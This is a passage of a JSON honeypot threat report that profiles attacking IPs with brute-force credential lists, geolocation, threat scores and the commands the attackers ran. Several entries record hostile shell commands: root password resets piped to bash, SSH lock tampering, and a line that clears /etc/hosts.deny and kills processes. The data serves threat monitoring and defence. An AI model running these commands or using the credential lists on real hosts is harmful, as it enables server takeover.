        "qwerty",
        "123123",
        "1234",
        "123456",
        "1234567",
        "1qq2w3e4r5t",
        "3245gs5662d34",
        "345gs5662d34",
        "P@SVVORD",
        "Password1",
        "abc123",
        "abc12345",
        "admin123...",
        "admin@pass",
        "aini130.",
        "database",
        "guest12345",
        "kuanke",
        "letmein"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"abc123\\npbbtoJykAajS\\npbbtoJykAajS\\n\"|passwd",
        "echo -e \"abc123\\npbbtoJykAajS\\npbbtoJykAajS\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T08:05:53.985000+00:00",
        "last_seen_30d": "2026-05-05T08:40:47.751000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "138.99.80.102": {
      "attack_count": 218,
      "first_seen": "2026-05-06T06:16:04.112Z",
      "last_seen": "2026-05-06T06:51:45.038Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "deployer",
        "elasticsearch",
        "ftpuser",
        "lighthouse",
        "oracle",
        "steam",
        "user1"
      ],
      "passwords_attempted": [
        "1234567!",
        "12345678",
        "123456789k",
        "123456aA",
        "12356",
        "3245gs5662d34",
        "345gs5662d34",
        "M3gaP33!",
        "P@55w0rd!@#",
        "Qk123456",
        "Qwert!234",
        "Tt123456!",
        "Windows10",
        "a",
        "a1b2c3d4e5f6",
        "buzhidao",
        "ftpuser@2024",
        "oracle123$",
        "qq123456@",
        "qweqweqwe1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:OMF3jWFaYBXf\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Salvador",
      "asn": 271596,
      "as_org": "MaxNet Telecom",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T06:16:04.112000+00:00",
        "last_seen_30d": "2026-05-06T06:52:51.718000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 71
      }
    },
    "23.249.28.115": {
      "attack_count": 211,
      "first_seen": "2026-05-23T12:46:04.148Z",
      "last_seen": "2026-05-23T13:41:32.942Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "mcserver",
        "newuser",
        "postgres",
        "sftpuser",
        "sysadmin"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123$qwer",
        "123456",
        "12345678910",
        "2024",
        "Aa222222",
        "Asd12345@",
        "Root#2025",
        "Root@123456",
        "iddqd",
        "mcserver123",
        "mortimer",
        "password.1",
        "wangfeng"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:5H4RVBj4Leu4\"|chpasswd|bash",
        "echo \"root:VoAPjR2RBrwt\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Kowloon",
      "asn": 152156,
      "as_org": "Naruto",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T12:46:04.148000+00:00",
        "last_seen_30d": "2026-05-23T13:42:39.057000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 211,
        "Suricata": 46
      }
    },
    "110.24.36.2": {
      "attack_count": 204,
      "first_seen": "2026-05-19T18:06:28.917Z",
      "last_seen": "2026-05-20T06:08:23.257Z",
      "sessions": 102,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 9674,
      "as_org": "Far EastTone Telecommunication Co., Ltd.",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 306,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:06:28.917000+00:00",
        "last_seen_30d": "2026-05-20T06:09:30.051000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 102
      }
    },
    "27.25.68.95": {
      "attack_count": 188,
      "first_seen": "2026-05-19T07:10:43.836Z",
      "last_seen": "2026-05-19T17:53:16.661Z",
      "sessions": 94,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:10:43.836000+00:00",
        "last_seen_30d": "2026-05-19T17:54:23.067000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 102
      }
    },
    "171.231.187.177": {
      "attack_count": 182,
      "first_seen": "2026-05-22T17:20:43.516Z",
      "last_seen": "2026-05-22T17:31:16.292Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "bin",
        "btf",
        "config",
        "ftpuser",
        "guest",
        "helpdesk",
        "joro",
        "kim",
        "nikita",
        "office",
        "plex",
        "psybnc",
        "rebecca",
        "support",
        "sync",
        "system",
        "user"
      ],
      "passwords_attempted": [
        "admin",
        "1111",
        "1234",
        "12345",
        "321start",
        "OkwKcECs8qJP2Z",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin123",
        "admin@123",
        "andrew",
        "asteriskftp",
        "bin",
        "click1",
        "config",
        "default",
        "explorer",
        "guest",
        "helpdesk"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 265,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:20:43.516000+00:00",
        "last_seen_30d": "2026-05-22T17:32:22.609000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 182,
        "Suricata": 83
      }
    },
    "103.148.100.146": {
      "attack_count": 173,
      "first_seen": "2026-05-20T11:52:24.770Z",
      "last_seen": "2026-05-20T12:23:16.702Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "1234qwer!@#$",
        "124578",
        "3245gs5662d34",
        "345gs5662d34",
        "A1A2A3A4A5",
        "Root@123456",
        "adr1an",
        "chick",
        "claude",
        "grep",
        "hannes123",
        "kkkk",
        "lloyd",
        "lololol",
        "mkt",
        "mmj",
        "pages",
        "passpass",
        "peppino",
        "pic"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Q8yuCNtfNtIa\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 139988,
      "as_org": "PT. GARUDA PRIMA INTERNETINDO",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T11:52:24.770000+00:00",
        "last_seen_30d": "2026-05-20T12:24:26.109000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 52
      }
    },
    "123.165.80.10": {
      "attack_count": 160,
      "first_seen": "2026-05-19T18:18:09.300Z",
      "last_seen": "2026-05-20T03:29:19.333Z",
      "sessions": 80,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 242,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:18:09.300000+00:00",
        "last_seen_30d": "2026-05-20T03:30:22.552000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 160,
        "Suricata": 82
      }
    },
    "191.101.33.115": {
      "attack_count": 150,
      "first_seen": "2026-05-10T20:32:39.527Z",
      "last_seen": "2026-05-31T10:24:29.160Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 14670,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 52.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.4,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T20:32:39.527000+00:00",
        "last_seen_30d": "2026-05-31T10:25:37.796000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 75
      }
    },
    "211.75.38.199": {
      "attack_count": 150,
      "first_seen": "2026-05-12T08:32:15.393Z",
      "last_seen": "2026-05-12T09:10:53.903Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "admin",
        "sophia",
        "test",
        "ubuntu",
        "minecraft",
        "openvpn",
        "oracle",
        "server",
        "ttest",
        "wwwadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "12345qwert",
        "creative",
        "mine123",
        "password",
        "q1w2e3",
        "qweasdzxc2",
        "sea",
        "summer",
        "test123",
        "wwwadmin"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"q1w2e3\\nDGtblG1BaUHQ\\nDGtblG1BaUHQ\\n\"|passwd",
        "echo -e \"q1w2e3\\nDGtblG1BaUHQ\\nDGtblG1BaUHQ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T08:32:15.393000+00:00",
        "last_seen_30d": "2026-05-12T09:12:00.250000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 40
      }
    },
    "74.48.69.130": {
      "attack_count": 144,
      "first_seen": "2026-05-03T18:53:43.320Z",
      "last_seen": "2026-05-31T23:39:24.402Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 58.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.3,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T18:53:43.320000+00:00",
        "last_seen_30d": "2026-05-31T23:40:28.651000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 72
      }
    },
    "165.99.42.47": {
      "attack_count": 117,
      "first_seen": "2026-05-09T18:32:14.957Z",
      "last_seen": "2026-05-09T19:42:21.673Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "test",
        "345gs5662d34",
        "dev",
        "master",
        "root",
        "user",
        "webuser"
      ],
      "passwords_attempted": [
        "123456",
        "12345q",
        "1q1q1q",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "test",
        "test-123",
        "test.123",
        "vpspassword"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1q1q1q\\nM7uTme4vt0rX\\nM7uTme4vt0rX\\n\"|passwd",
        "echo -e \"1q1q1q\\nM7uTme4vt0rX\\nM7uTme4vt0rX\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 401701,
      "as_org": "cognetcloud INC",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T18:32:14.957000+00:00",
        "last_seen_30d": "2026-05-09T19:43:30.195000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 117,
        "Suricata": 54
      }
    },
    "191.37.77.10": {
      "attack_count": 102,
      "first_seen": "2026-05-22T13:59:30.414Z",
      "last_seen": "2026-05-22T15:05:26.173Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "sales1",
        "tom",
        "ubuntu"
      ],
      "passwords_attempted": [
        "!QAZ2wsx3edc4rfv",
        "123456",
        "345gs5662d34",
        "5454",
        "Ubuntu1234",
        "qwerty",
        "qwertyuiop1234",
        "tom"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:QzUHGAn7mj6B\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Nova Lima",
      "asn": 263356,
      "as_org": "CNT Fiber",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 125,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T13:59:30.414000+00:00",
        "last_seen_30d": "2026-05-22T15:06:35.947000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 23
      }
    },
    "2.194.178.181": {
      "attack_count": 102,
      "first_seen": "2026-05-19T06:32:39.860Z",
      "last_seen": "2026-05-19T12:05:36.451Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Lein\u00ec",
      "asn": 16232,
      "as_org": "TIM",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:32:39.860000+00:00",
        "last_seen_30d": "2026-05-19T12:06:43.831000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 59
      }
    },
    "59.180.173.110": {
      "attack_count": 88,
      "first_seen": "2026-05-20T06:07:21.862Z",
      "last_seen": "2026-05-20T12:29:32.093Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 17813,
      "as_org": "Mahanagar Telephone Nigam Limited",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T06:07:21.862000+00:00",
        "last_seen_30d": "2026-05-20T12:30:34.389000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 44
      }
    },
    "84.51.18.243": {
      "attack_count": 82,
      "first_seen": "2026-05-14T21:07:29.886Z",
      "last_seen": "2026-05-14T21:45:06.305Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Kilis",
      "asn": 34984,
      "as_org": "Superonline Iletisim Hizmetleri A.S.",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T21:07:29.886000+00:00",
        "last_seen_30d": "2026-05-14T21:46:42.952000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 82,
        "Suricata": 45
      }
    },
    "34.76.199.55": {
      "attack_count": 73,
      "first_seen": "2026-05-22T07:49:26.596Z",
      "last_seen": "2026-05-22T07:50:14.706Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 2366",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T07:49:26.596000+00:00",
        "last_seen_30d": "2026-05-22T07:51:24.020000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "130.12.181.85": {
      "attack_count": 63,
      "first_seen": "2026-05-08T10:26:24.417Z",
      "last_seen": "2026-05-17T18:34:34.247Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "proxyuser",
        "AdminGPON",
        "admin"
      ],
      "passwords_attempted": [
        "proxyuser",
        "root",
        "ALC#FGU",
        "Abcd1234",
        "NSSpassword1",
        "admin",
        "password123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 11.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 142,
